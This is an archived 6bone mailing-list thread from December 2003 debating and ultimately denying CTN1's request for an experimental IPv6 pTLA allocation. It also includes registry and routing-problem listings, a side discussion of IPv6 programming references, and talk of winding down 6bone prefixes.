> GCL> > > >
> GCL> > > >
> GCL> > > >       a. A support staff of two persons minimum, three
> GCL> preferable, with
> GCL> > > >           person attributes registered for each in the
ipv6-site
> GCL> object
> GCL> > > >           for the pTLA applicant.
> GCL> > > >
> GCL> > > >RP10-6BONE
> GCL> > > >MG22-6BONE
> GCL> > > >BV3-6BONE
> GCL> > > >
> GCL> > > >       b. A common mailbox for support contact purposes that all
> GCL> support
> GCL> > > >           staff have acess to, pointed to with a notify
> GCL> attribute in the
> GCL> > > >           ipv6-site object for the pTLA Applicant.
> GCL> > > >
> GCL> > > >6bone@ctn1.net
> GCL> > > >
> GCL> > > >    3. The pTLA Applicant MUST have a potential "user community"
> GCL> that
> GCL> > > >        would be served by its becoming a pTLA, e.g., the
> GCL> Applicant is a
> GCL> > > >        major provider of Internet service in a region, country,
> GCL> or focus
> GCL> > > >        of interest. Applicant must provide a statement and
> GCL> information in
> GCL> > > >        support this claim.
> GCL> > > >
> GCL> > > >CTN1 operates an IPv6 Network and provides a lot of IPv6
services
> GCL> to many
> GCL> > > >projects.
> GCL> > > >We provide: Usenet Provider, Email provider and Hosting Provider
> GCL> with dual
> GCL> > > >IPv4 and IPv6.
> GCL> > > >All IPv6 services is free of charge.
> GCL> > > >We encourage all people to start a web site and Email server
with
> GCL> IPv6.
> GCL> > > >
> GCL> > > >    4. The pTLA Applicant MUST commit to abide by the current
> GCL> 6Bone
> GCL> > > >        operational rules and policies as they exist at time of
> GCL> its
> GCL> > > >        application, and agree to abide by future 6Bone backbone
> GCL> > > >        operational rules and policies as they evolve by
> GCL> consensus of the
> GCL> > > >        6Bone backbone and user community.
> GCL> > > >
> GCL> > > >
> GCL> > > >We agree to all current and future rules and policies.
> GCL> > > >
> GCL> > > >----
> GCL> > >
> GCL> > > _______________________________________________
> GCL> > > 6bone mailing list
> GCL> > > 6bone@mailman.isi.edu
> GCL> > > http://mailman.isi.edu/mailman/listinfo/6bone
> GCL> > >
> GCL> >
> GCL> > --
> GCL> > Pekka Savola                 "You each name yourselves king, yet
the
> GCL> > Netcore Oy                    kingdom bleeds."
> GCL> > Systems. Networks. Security. -- George R.R. Martin: A Clash of
Kings
> GCL> >
> GCL> > _______________________________________________
> GCL> > 6bone mailing list
> GCL> > 6bone@mailman.isi.edu
> GCL> > http://mailman.isi.edu/mailman/listinfo/6bone
> GCL>
> GCL> _______________________________________________
> GCL> 6bone mailing list
> GCL> 6bone@mailman.isi.edu
> GCL> http://mailman.isi.edu/mailman/listinfo/6bone
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From nicolas.deffayet@ndsoftware.net Wed Dec 17 11:53:47 2003
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Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Bob Fink <bob@thefinks.com>
Cc: 6BONE List <6bone@mailman.isi.edu>, Marc GOMEZ <mg@ctn1.com>
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On Tue, 2003-12-02 at 19:32, Bob Fink wrote:
6bone Folk,

> CTN1 has requested a pTLA allocation and I find their request fully 
> compliant with RFC2772. The open review period for this closes 16 December 
> 2003. Please send your comments to me or the list.
> 
>    <http://www.ctn1.com>
> 
> This may be the last 6bone pTLA allocation made as the phaseout plan 
> specifies no new pTLA allocations after the end of this year. Thus if 
> anyone is expecting to request a pTLA, the request must be sent to me no 
> later than 5 December to allow enough review and approval time prior to 31 
> December.

The community must be open about this request.

This is the last pTLA request, I think that we can allocate this pTLA.
Closing the pTLA allocation period with a request denied don't promote
IPv6 usage and is not good for the community. CTN1 want promote the
IPv6, i'm agree they are very just with the time, but with deny of this
request they can't promote IPv6 usage and they can't offer free and high
quality IPv6 services to their customers.

Open your eyes, not all pTLA request respect fully RFC2772.
There is a problem with this request, because some people want troll
about it.

I don't work for CTN1, CTN1 is just a partner for NDSoftware. We help
CTN1 in its IPv6 deploiement.

Please note that for get a sTLA from RIPE, the requester must be a LIR,
(a cost of ~ 4500 EUR). It's a very high cost for promote IPv6 and offer
free IPv6 services with a minimum of quality and independance....

Thanks for have read my mail, i wait your comments.

Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NDSoftware IP Network: http://www.ip.ndsoftware.net/
FNIX6 (French National Internet Exchange IPv6): http://www.fnix6.net/
EuroNOG: http://www.euronog.org/


From matrix@miracle1.net Wed Dec 17 12:46:54 2003
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From: "J. Miracle" <matrix@miracle1.net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003
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On Wed, 17 Dec 2003 20:47:20 +0100
Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net> wrote: [Message-ID: 1071690440.26093.153.camel@w1-aub.fr.corp.ndsoftware.com]

ND> On Tue, 2003-12-02 at 19:32, Bob Fink wrote:
ND> 6bone Folk,
ND> 
ND> > CTN1 has requested a pTLA allocation and I find their request fully 
ND> > compliant with RFC2772. The open review period for this closes 16 December 
ND> > 2003. Please send your comments to me or the list.
ND> > 
ND> >    <http://www.ctn1.com>
ND> > 
ND> > This may be the last 6bone pTLA allocation made as the phaseout plan 
ND> > specifies no new pTLA allocations after the end of this year. Thus if 
ND> > anyone is expecting to request a pTLA, the request must be sent to me no 
ND> > later than 5 December to allow enough review and approval time prior to 31 
ND> > December.
ND> 
ND> The community must be open about this request.

I believe the community has been very open with this request.

ND> 
ND> This is the last pTLA request, I think that we can allocate this pTLA.
ND> Closing the pTLA allocation period with a request denied don't promote
ND> IPv6 usage and is not good for the community. CTN1 want promote the
ND> IPv6, i'm agree they are very just with the time, but with deny of this
ND> request they can't promote IPv6 usage and they can't offer free and high
ND> quality IPv6 services to their customers.
ND> 

I believe upholding the policies on which the 6BONE was founded for making any decisions related
to this manner is exactly what we should expect, and exactly what we got. Might I ask why you say
they could offer 'high quality' IPv6 services with only one IPv6 transit uplink?

ND> Open your eyes, not all pTLA request respect fully RFC2772.
ND> There is a problem with this request, because some people want troll
ND> about it.

If pTLA requests don't conform to RFC2772 they should not be allocated a pTLA.

ND> 
ND> I don't work for CTN1, CTN1 is just a partner for NDSoftware. We help
ND> CTN1 in its IPv6 deploiement.
ND> 

If CTN1 is truly a partner of NDSOFTWARE why are you not allocating them address space.
ND was allocated a /32 for this purpose, were they not?

ND> Please note that for get a sTLA from RIPE, the requester must be a LIR,
ND> (a cost of ~ 4500 EUR). It's a very high cost for promote IPv6 and offer
ND> free IPv6 services with a minimum of quality and independance....
ND> 
ND> Thanks for have read my mail, i wait your comments.
ND> 
ND> Best Regards,
ND> 
ND> -- 
ND> Nicolas DEFFAYET, NDSoftware
ND> NDSoftware IP Network: http://www.ip.ndsoftware.net/
ND> FNIX6 (French National Internet Exchange IPv6): http://www.fnix6.net/
ND> EuroNOG: http://www.euronog.org/
ND> 
ND> _______________________________________________
ND> 6bone mailing list
ND> 6bone@mailman.isi.edu
ND> http://mailman.isi.edu/mailman/listinfo/6bone

Thanks,
J. Miracle

From nicolas.deffayet@ndsoftware.net Wed Dec 17 13:17:24 2003
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Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: "J. Miracle" <matrix@miracle1.net>
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On Wed, 2003-12-17 at 21:46, J. Miracle wrote:
> On Wed, 17 Dec 2003 20:47:20 +0100
> Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net> wrote:
> ND> 
> ND> This is the last pTLA request, I think that we can allocate this pTLA.
> ND> Closing the pTLA allocation period with a request denied don't promote
> ND> IPv6 usage and is not good for the community. CTN1 want promote the
> ND> IPv6, i'm agree they are very just with the time, but with deny of this
> ND> request they can't promote IPv6 usage and they can't offer free and high
> ND> quality IPv6 services to their customers.
> ND> 
> 
> I believe upholding the policies on which the 6BONE was founded for making any decisions related
> to this manner is exactly what we should expect, and exactly what we got. Might I ask why you say
> they could offer 'high quality' IPv6 services with only one IPv6 transit uplink?

They will have a second IPv6 transit uplink when they have a pTLA. The
second transit provider don't want open BGP session without pTLA/sTLA.

> ND> Open your eyes, not all pTLA request respect fully RFC2772.
> ND> There is a problem with this request, because some people want troll
> ND> about it.
> 
> If pTLA requests don't conform to RFC2772 they should not be allocated a pTLA.

Please read the archive before !
When you have pTLA allocated with unassigned ASN, only one contact
person,... Are this pTLA conform to RFC2772 ? Why they have been
allocated ?

> ND> 
> ND> I don't work for CTN1, CTN1 is just a partner for NDSoftware. We help
> ND> CTN1 in its IPv6 deploiement.
> ND> 
> 
> If CTN1 is truly a partner of NDSOFTWARE why are you not allocating them address space.
> ND was allocated a /32 for this purpose, were they not?

It's not a problem of address space size, when you request a pTLA it's
for be independent and present in worldwide routing table.

A lot of pTLA allocated have never make end-user assignement...
Why a pTLA request for make end-user assignement must be denied because
the requester can use the upstream address space ?

-- 
Nicolas DEFFAYET, NDSoftware
NDSoftware IP Network: http://www.ip.ndsoftware.net/
FNIX6 (French National Internet Exchange IPv6): http://www.fnix6.net/
EuroNOG: http://www.euronog.org/


From gert@Space.Net Wed Dec 17 13:27:00 2003
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Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003
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Hi,

On Wed, Dec 17, 2003 at 08:47:20PM +0100, Nicolas DEFFAYET wrote:
> The community must be open about this request.
> 
> This is the last pTLA request, I think that we can allocate this pTLA.
> Closing the pTLA allocation period with a request denied don't promote
> IPv6 usage 

It won't promote *6bone* usage, and we don't *want* to promote 6bone.

6bone is dead, face it.  A number of the bigger european NRENs do not even
route 3FFE space anymore.

[..]
> Open your eyes, not all pTLA request respect fully RFC2772.
> There is a problem with this request, because some people want troll
> about it.

Nothing in CTN1's setup fulfill's proper technical standards for an
IPv6 pTLA holder.

[..]
> Please note that for get a sTLA from RIPE, the requester must be a LIR,
> (a cost of ~ 4500 EUR). It's a very high cost for promote IPv6 and offer
> free IPv6 services with a minimum of quality and independance....

Just take upstream space then.  CTN1 could use some from NDSOFTWARE,
for example.

(Just to drive home the point: 6bone space will *not* provide quality
IPv6 services, as *people do not route it*)

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  57386  (57785)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From pim@ipng.nl Wed Dec 17 13:48:27 2003
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From: Pim van Pelt <pim@ipng.nl>
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Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003
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Hi,

| CTN1 has requested a pTLA allocation and I find their request fully 
| compliant with RFC2772. The open review period for this closes 16 December 
| 2003. Please send your comments to me or the list.
Even though I've had my say already, I would like to repeat myself.

There were some serious holes in the application as pointed out previously
by some folk. After this, there were no clear signs that the situation
improved and I find it very strange that a third party is answering
questions regarding the pTLA request and not the requestor. As a matter of
fact, the whole thread was CC:ed to Mr. Gomez and he did not answer a single
question.

It is my honest opinion (and I have been fair in the past) that this
company is not ready to be granted custody of a pTLA.

With regards to this being the last one: it should not be an issue that
the last request was denied. People who state differently are not thinking
straight.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From dragon@tdoi.org Wed Dec 17 13:54:40 2003
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From: "Nicolas DEFFAYET" <nicolas.deffayet@ndsoftware.net>
Sent: Wednesday, December 17, 2003 8:47 PM
Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003


> On Tue, 2003-12-02 at 19:32, Bob Fink wrote:
> 6bone Folk,
>
> > CTN1 has requested a pTLA allocation and I find their request fully
> > compliant with RFC2772. The open review period for this closes 16
December
> > 2003. Please send your comments to me or the list.
> >
> >    <http://www.ctn1.com>
> >
> > This may be the last 6bone pTLA allocation made as the phaseout plan
> > specifies no new pTLA allocations after the end of this year. Thus if
> > anyone is expecting to request a pTLA, the request must be sent to me no
> > later than 5 December to allow enough review and approval time prior to
31
> > December.
>
> The community must be open about this request.
>
> This is the last pTLA request, I think that we can allocate this pTLA.
> Closing the pTLA allocation period with a request denied don't promote
> IPv6 usage and is not good for the community. CTN1 want promote the
> IPv6, i'm agree they are very just with the time, but with deny of this
> request they can't promote IPv6 usage and they can't offer free and high
> quality IPv6 services to their customers.
>
> Open your eyes, not all pTLA request respect fully RFC2772.
> There is a problem with this request, because some people want troll
> about it.
>
> I don't work for CTN1, CTN1 is just a partner for NDSoftware. We help
> CTN1 in its IPv6 deploiement.
>
> Please note that for get a sTLA from RIPE, the requester must be a LIR,
> (a cost of ~ 4500 EUR). It's a very high cost for promote IPv6 and offer
> free IPv6 services with a minimum of quality and independance....
>
> Thanks for have read my mail, i wait your comments.
>

I do _not_ agree to the pTLA request until CTN1 let us know a bit more about
what their plans are.

e.g., IF they DO have plans to operate a large scaled IPv6 Network, WHY is
it
impossible to become a LIR and get REAL IPv6 address space.
"I have put 1.000.000 EUR. I respect your job respect my company!!!"
So, there shouldn't be a fincancial problem in this case.

As Gert said, 6bone is (nearly) dead, and is not a place to provide
commercial
services to customers. So, which research projects does CTN1 support and/or
provide?

I think we've read enough chitchat by Mr. NDSOFTWARE, and I'm awaiting
eagerly
a statement by CTN1.


Greets,
Christian Nickel

------------------------------------------
TDOI Network | www.tdoi.org | noc@tdoi.org


From bob@thefinks.com Wed Dec 17 14:08:21 2003
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6bone Folk,

I have denied the CTN1 pTLA request as of today. I do wish Marc Gomez and 
CTN1 well in providing IPv6 transport to the customers of CTN1, and do hope 
Marc will pursue a production prefix from RIPE.

I did not deny this request lightly, and did ask various follow up 
questions. I remained concerned about the inability to even reach the CTN1 
web site or find a AAAA record in its DNS until today (or at least 
intermittently so). In my opinion it is unlikely that CTN1 really provided 
all the required services for the full 3 month period required. If we 
weren't at the end of 6bone prefix allocation, I would have encouraged Marc 
to wait a little longer until he clearly established operational experience 
in IPv6 for CTN1 sufficient to qualify for a pTLA. Alas, we are out of time 
and no more 6bone pTLA prefixes will be allocated.

Regardless of the cost to acquire production prefixes from the RIRs, 
clearly it isn't all that hard as there are almost 500 prefixes allocated 
now, more than half (274) of which come from RIPE. Compare this to the 
current 123 6bone pTLA prefixes allocated and it is clear that the time for 
an early experimental method to distribute IPv6 addresses is past.

I want to thank everyone who has participated in this pTLA review, on both 
sides, for your comments.


Thanks,

Bob Fink


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Subject: Cleansing 6bone (Was: [6bone] pTLA request by CTN1 - review closes 16 December 2003)
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-----BEGIN PGP SIGNED MESSAGE-----

[Real problems, private ASN's etc, at the about 50% of the mail]

Nicolas DEFFAYET wrote:

> > ND> Open your eyes, not all pTLA request respect fully RFC2772.
> > ND> There is a problem with this request, because some people want troll
> > ND> about it.
> > 
> > If pTLA requests don't conform to RFC2772 they should not 
> > be allocated a pTLA.
> 
> Please read the archive before !
> When you have pTLA allocated with unassigned ASN, only one contact
> person,... Are this pTLA conform to RFC2772 ? Why they have been
> allocated ?

I totally agree with you Nico, 6bone should be reclaiming space
that is not actively maintained any more.

We will start by pointing out one of the newer prefixes, yours:

$ whois -h whois.6bone.net 3FFE:4013::/32

netname:      FR-NDSOFTWARE-20021110
descr:        NDSoftware IP Network
country:      FR
admin-c:      NN175-RIPE
tech-c:       NN175-RIPE
rev-srv:      ns1.ndsoftware.net
rev-srv:      ns2.ndsoftware.net
rev-srv:      ns3.ndsoftware.net
notify:       noc@ndsoftware.net
mnt-by:       MNT-NDSOFTWARE
changed:      nicolas.deffayet@ndsoftware.net 20021110
changed:      nicolas.deffayet@ndsoftware.net 20031206
source:       6BONE

Let me see, 1 contact person, not even a 6bone handle,
but that is allowed and it's probably cooler to register
6bone objects in the wrong registry.

Could your staff (or you yourself) fix this as per
RFC2772, which you just commented about? Aka you might
want to add 2 more contacts, who are not you.

Don't complain about other TLA's when you cannot even
fix maintain own or that of your company.

Ofcourse you are completely correct, this should be
fixed as soon as possible.

Fortunatly for the owners of these prefixes there hasn't
been a real witch hunt for these problems and I suspect
there never will be. 6bone is testspace and problems are
allowed to happen. Ofcourse they should be fixed asap and
the only way of doing that is contacting the relevant.

I would like to point people out to <shameless selfplug>:
http://www.sixxs.net/tools/grh/

Current problems, which really should not be there:

2001:d10::/32          AS64600 is reserved
2001:d30::/32          Multiple Origin ASN's (2500,4717) 
2002:c2b1:d06e::/48    More specific 6to4 prefix (194.177.208.110/32) from AS5408 
2002:c8a2::/33         More specific 6to4 prefix (200.162.0.0/17) from AS15180 
2002:c8c6:4000::/34    More specific 6to4 prefix (200.198.64.0/18) from AS15180 
2002:c8ca:7000::/36    More specific 6to4 prefix (200.202.112.0/20) from AS15180 
3ffe:1300::/24         Mismatching origin ASN, should be 762 (now: 10318) 
3ffe:2200::/24         Ghost Route (18/12)
3ffe:3500::/24         AS64600 and AS64702 are reserved
3ffe:8030::/28         Ghost Route (20/12) 

6bone does affect RIPE space as you can see from the above list.

btw AS10318, if *anybody* has a contact there, please ask them to
respond to the list or privatly. Any peers still peering with them
please consider to depeer as they have been unreachable for over
a year now.

<SNIP>

> A lot of pTLA allocated have never make end-user assignement...

There is no requirement for making end-user assignments.
6bone is a *test* bed, not a production environment.
Though one of the methods for testing could be to test making
end-user assignments and giving them access to the 6bone so
that they can test how IPv6 works, thus making you test out
whether your routing infrastructure works. That is the main
goal for the 6bone: testing. Ofcourse it is needless to say
that prefixes don't even have to be announced for this reason.

Checking: http://www.sixxs.net/tools/grh/tla/6bone/
8<---------------------------------------------------------
The database currently holds 144 IPv6 TLA's.
Of which 16 (11.11%) are returned to the pool, 16 (11.11%)
IPv6 TLA's didn't have a routing entry.
Thus 112 (77.78%) networks are currently announced.
- --------------------------------------------------------->8

Unfortunatly we don't have data from way back when most of
these where allocated, but this does show that some are
not reachable.

> Why a pTLA request for make end-user assignement must be 
> denied because the requester can use the upstream address space ?

Indeed, quite strange that you need another pTLA then:

$ whois -M 3ffe:4013::/32  |grep inet6num

inet6num:     3FFE:4013:2207::/48
inet6num:     3FFE:4013:2105::/48
inet6num:     3FFE:4013:2300::/40
inet6num:     3FFE:4013:1000::/36
inet6num:     3FFE:4013:2104::/48

3 /48's a /40 for 'personal' use and a /36 for some other 'project'.
You could btw with ease delegate some more space to CTN1, they
have the same upstream and then they can test their commercial
million euro webhosting. If you try to make your point then
you really should have gotten your own act together first.

Greets,
 Jeroen

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From tony@lava.net Wed Dec 17 15:25:30 2003
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From: Antonio Querubin <tony@lava.net>
To: Jun-ichiro itojun Hagino <itojun@itojun.org>
Cc: mamthabc@yahoo.co.in, 6bone@mailman.isi.edu
Subject: Re: [6bone] doubt about protocol independent Ping.
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On Mon, 15 Dec 2003, Jun-ichiro itojun Hagino wrote:

> 	Stevens' book (TCP/IP network programming) has very old description of
> 	protocol independent programming, so do not refer it.  rather, please
> 	refer the following:
> 	http://www.kame.net/newsletter/19980604/
> 	http://www.usenix.org/publications/library/proceedings/usenix2000/freenix/metzprotocol/

Steven's book has many detailed examples of coding in a protocol
independent manner that continue to be applicable even today.  The API
hasn't changed that much in 5 years to make it the book so obsolete that
it should no longer be referred to.  While the above 2 articles talk about
protocol independent issues, they're a bit sparse for reference use by
someone learning a new API.

From dan@reeder.name Wed Dec 17 15:35:24 2003
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From: "Dan Reeder" <dan@reeder.name>
To: "Nicolas DEFFAYET" <nicolas.deffayet@ndsoftware.net>
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References: <5.2.0.9.0.20031202103001.02b69788@mail.addr.com> <1071690440.26093.153.camel@w1-aub.fr.corp.ndsoftware.com> <20031217154650.00003155.matrix@miracle1.net> <1071695838.26091.188.camel@w1-aub.fr.corp.ndsoftware.com>
Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003
Date: Thu, 18 Dec 2003 09:35:19 +1000
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> Please read the archive before !
> When you have pTLA allocated with unassigned ASN, only one contact
> person,... Are this pTLA conform to RFC2772 ? Why they have been
> allocated ?

Nicholas, you can't seem to get beyond the fact that just because something
bad happened in the past that doesn't mean it should continue to happen.
Just beacuse banks have been robbed in the past doesnt mean you should feel
free to walk in and demand what you want today.

The point is that those allocations were mistakes and shouldn't have been
granted approval in the first place. Just like CTN1.

Besides, as has been pointed out the 6bone is on its last legs. If CTN1 is
such a well funded company (i'd love to have 1 million euros at my disposal)
then I'm sure RIPE would be all ears. And if thats still not feasible, what
is stopping NDSoftware from giving a /35 to them? You are partners, right?

Dan Reeder



From tony@lava.net Wed Dec 17 15:37:43 2003
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From: Antonio Querubin <tony@lava.net>
To: Bob Fink <bob@thefinks.com>
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Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December  2003
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On Wed, 17 Dec 2003, Bob Fink wrote:

> I want to thank everyone who has participated in this pTLA review, on both
> sides, for your comments.

Thank YOU for all your time and effort in coordinating this aspect of the
6bone project through the years :)


From tjc@ecs.soton.ac.uk Thu Dec 18 03:26:32 2003
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From: Tim Chown <tjc@ecs.soton.ac.uk>
To: 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003
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On reflection I think this request should be denied, because it does not
meet the requirements, as highlighted by others on this list.   I thus 
remove my previous support for the request.

Tim

On Wed, Dec 17, 2003 at 08:47:20PM +0100, Nicolas DEFFAYET wrote:
> On Tue, 2003-12-02 at 19:32, Bob Fink wrote:
> 6bone Folk,
> 
> > CTN1 has requested a pTLA allocation and I find their request fully 
> > compliant with RFC2772. The open review period for this closes 16 December 
> > 2003. Please send your comments to me or the list.
> > 
> >    <http://www.ctn1.com>
> > 
> > This may be the last 6bone pTLA allocation made as the phaseout plan 
> > specifies no new pTLA allocations after the end of this year. Thus if 
> > anyone is expecting to request a pTLA, the request must be sent to me no 
> > later than 5 December to allow enough review and approval time prior to 31 
> > December.
> 
> The community must be open about this request.
> 
> This is the last pTLA request, I think that we can allocate this pTLA.
> Closing the pTLA allocation period with a request denied don't promote
> IPv6 usage and is not good for the community. CTN1 want promote the
> IPv6, i'm agree they are very just with the time, but with deny of this
> request they can't promote IPv6 usage and they can't offer free and high
> quality IPv6 services to their customers.
> 
> Open your eyes, not all pTLA request respect fully RFC2772.
> There is a problem with this request, because some people want troll
> about it.
> 
> I don't work for CTN1, CTN1 is just a partner for NDSoftware. We help
> CTN1 in its IPv6 deploiement.
> 
> Please note that for get a sTLA from RIPE, the requester must be a LIR,
> (a cost of ~ 4500 EUR). It's a very high cost for promote IPv6 and offer
> free IPv6 services with a minimum of quality and independance....
> 
> Thanks for have read my mail, i wait your comments.
> 
> Best Regards,
> 
> -- 
> Nicolas DEFFAYET, NDSoftware
> NDSoftware IP Network: http://www.ip.ndsoftware.net/
> FNIX6 (French National Internet Exchange IPv6): http://www.fnix6.net/
> EuroNOG: http://www.euronog.org/
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From tjc@ecs.soton.ac.uk Thu Dec 18 03:57:58 2003
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From: Tim Chown <tjc@ecs.soton.ac.uk>
To: 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] winding down and returns?
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Thanks Bob.

The next step is then to wind down the 6bone allocations, and perhaps
encourage formal returns?  It may be that 50% of current holders are
inactive due to commercial allocations, but have not bothered to "hand in"
pTLAs as there's isn't a process as such.

Some networks already don't accept 6bone prefixes.  So their usefulness
is already becoming more limited.

Tim

On Wed, Dec 17, 2003 at 01:51:44PM -0800, Bob Fink wrote:
> 6bone Folk,
> 
> I have denied the CTN1 pTLA request as of today. I do wish Marc Gomez and 
> CTN1 well in providing IPv6 transport to the customers of CTN1, and do hope 
> Marc will pursue a production prefix from RIPE.
> 
> I did not deny this request lightly, and did ask various follow up 
> questions. I remained concerned about the inability to even reach the CTN1 
> web site or find a AAAA record in its DNS until today (or at least 
> intermittently so). In my opinion it is unlikely that CTN1 really provided 
> all the required services for the full 3 month period required. If we 
> weren't at the end of 6bone prefix allocation, I would have encouraged Marc 
> to wait a little longer until he clearly established operational experience 
> in IPv6 for CTN1 sufficient to qualify for a pTLA. Alas, we are out of time 
> and no more 6bone pTLA prefixes will be allocated.
> 
> Regardless of the cost to acquire production prefixes from the RIRs, 
> clearly it isn't all that hard as there are almost 500 prefixes allocated 
> now, more than half (274) of which come from RIPE. Compare this to the 
> current 123 6bone pTLA prefixes allocated and it is clear that the time for 
> an early experimental method to distribute IPv6 addresses is past.
> 
> I want to thank everyone who has participated in this pTLA review, on both 
> sides, for your comments.
> 
> 
> Thanks,
> 
> Bob Fink
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From jeroen@unfix.org Thu Dec 18 05:43:40 2003
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Subject: RE: [6bone] winding down and returns?
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Tim Chown wrote:

> Thanks Bob.
> 
> The next step is then to wind down the 6bone allocations, and perhaps
> encourage formal returns?  It may be that 50% of current holders are
> inactive due to commercial allocations, but have not bothered 
> to "hand in" pTLAs as there's isn't a process as such.

Afaik, the process is quite simple:
 - stop announcing the prefix into BGP
 - remove prefixes (inet6num, ipv6-site etc) from the 6bone registry
 - notify this (6bone@mailman.isi.edu) list that your organisation
   is returning the prefix and not using it any more.

This is what the other ISP's did when returning their prefixes.

Note that one in some cases cannot clean everything from the registry,
eg customers that put prefixes into the database, which is possible
as their are no mnt-lower's in place. The maintainers of the database
will in those cases clean them out.

If you want to see if your prefix is still seen somewhere you can
check that very easily using GRH (http://www.sixxs.net/tools/grh/)
If it isn't in the Looking Glass it will quite probably not be
seen anywhere. Though ofcourse not everybody provides a feed.
ASN's are encouraged ofcourse to sign up and providing BGP feeds
making it a better resource and thus helping the community.

> Some networks already don't accept 6bone prefixes.  So their 
> usefulness is already becoming more limited.

Not if one is using the prefix internally for testing purposes
ofcourse. For interconnectivity it does get less useful.

I would also like to add that I think that the 6bone project
can be called quite a success, having helped IPv6 deployment
in general and allowing many people to get early experience
by testing it using this deployment. Now into the future!

Greets,
 Jeroen

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Subject: Re: [6bone] winding down and returns?
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Tim,

At 11:57 AM 12/18/2003 +0000, Tim Chown wrote:
>Thanks Bob.
>
>The next step is then to wind down the 6bone allocations, and perhaps
>encourage formal returns?  It may be that 50% of current holders are
>inactive due to commercial allocations, but have not bothered to "hand in"
>pTLAs as there's isn't a process as such.

As for winding down pTLA allocations, they are done wound down :-)

As for bugging folk to return allocations that are not in use at all, does 
it really matter at this stage?

If there are "in-use" pTLAs that are really badly managed/operated to the 
detriment of the greater whole, that's another story.

If there is some general agreement on the problem and what to do about it, 
I am willing to help, but would like to hear a comment or two.


>Some networks already don't accept 6bone prefixes.  So their usefulness
>is already becoming more limited.

If this is becoming the trend, doesn't it make most uses of the 6bone 
irrelevant? Maybe it would be better to create (and keep current) a list of 
really good pTLAs, even establishing some meaningful standards for what 
that means, that would encourage production prefix holders to peer with them?


Thanks,

Bob 


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Subject: [6bone] RE: Content of 6bone digest, Vol 1 #446
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<html><div style='background-color:'><P><BR>well everyone..I am a bit confused here...if the IPv6 and 6bone are under experimentation uptil now..how come there are IPv6 routers or 6bone routers available?..</P>
<P>as it was mentioned in the internetnew.com website...the pentagon suspects that IPv6 will be presented publically in the year 2008..(with all my respect to you all.)..</P>
<P>could some one clarify this to me please?</P>
<P>thanx, </P>
<P>noor_al_huda<BR></P><BR><BR><BR>
<DIV>Keep in touch <IMG height=19 src="http://graphics.hotmail.com/i.p.emwink.gif" width=19></DIV>&gt;From: 6bone-request@mailman.isi.edu &gt;Reply-To: 6bone@mailman.isi.edu &gt;To: 6bone@mailman.isi.edu &gt;Subject: 6bone digest, Vol 1 #446 - 13 msgs &gt;Date: Thu, 18 Dec 2003 04:10:09 -0800 (PST) &gt; &gt;Send 6bone mailing list submissions to &gt; 6bone@mailman.isi.edu &gt; &gt;To subscribe or unsubscribe via the World Wide Web, visit &gt; http://mailman.isi.edu/mailman/listinfo/6bone &gt;or, via email, send a message with subject or body 'help' to &gt; 6bone-request@mailman.isi.edu &gt; &gt;You can reach the person managing the list at &gt; 6bone-admin@mailman.isi.edu &gt; &gt;When replying, please edit your Subject line so it is more specific &gt;than "Re: Contents of 6bone digest..." &gt; &gt; &gt;Today's Topics: &gt; &gt; 1. Re: pTLA request by CTN1 - review closes 16 December 2003 (J. Miracle) &gt; 2. Re: pTLA request by CTN1 - review closes 16 December 2003 (Nicolas DEFFAYET) &gt; 3. Re: pTLA request by CTN1 - review closes 16 December 2003 (Gert Doering) &gt; 4. Re: pTLA request by CTN1 - review closes 16 December 2003 (Pim van Pelt) &gt; 5. Re: pTLA request by CTN1 - review closes 16 December 2003 (Christian Nickel) &gt; 6. Re: pTLA request by CTN1 - review closes 16 December &gt; 2003 (Bob Fink) &gt; 7. Cleansing 6bone (Was: [6bone] pTLA request by CTN1 - review closes 16 December 2003) (Jeroen Massar) &gt; 8. Re: doubt about protocol independent Ping. (Antonio Querubin) &gt; 9. Re: pTLA request by CTN1 - review closes 16 December 2003 (Dan Reeder) &gt; 10. Re: pTLA request by CTN1 - review closes 16 December 2003 (Antonio Querubin) &gt; 11. Re: pTLA request by CTN1 - review closes 16 December 2003 (Tim Chown) &gt; 12. Re: winding down and returns? (Tim Chown) &gt; &gt;--__--__-- &gt; &gt;Message: 1 &gt;Date: Wed, 17 Dec 2003 15:46:50 -0500 &gt;From: "J. Miracle" <MATRIX@MIRACLE1.NET>&gt;To: Nicolas DEFFAYET <NICOLAS.DEFFAYET@NDSOFTWARE.NET>&gt;Cc: 6bone@mailman.isi.edu &gt;Subject: Re: [6bone] pTLA 
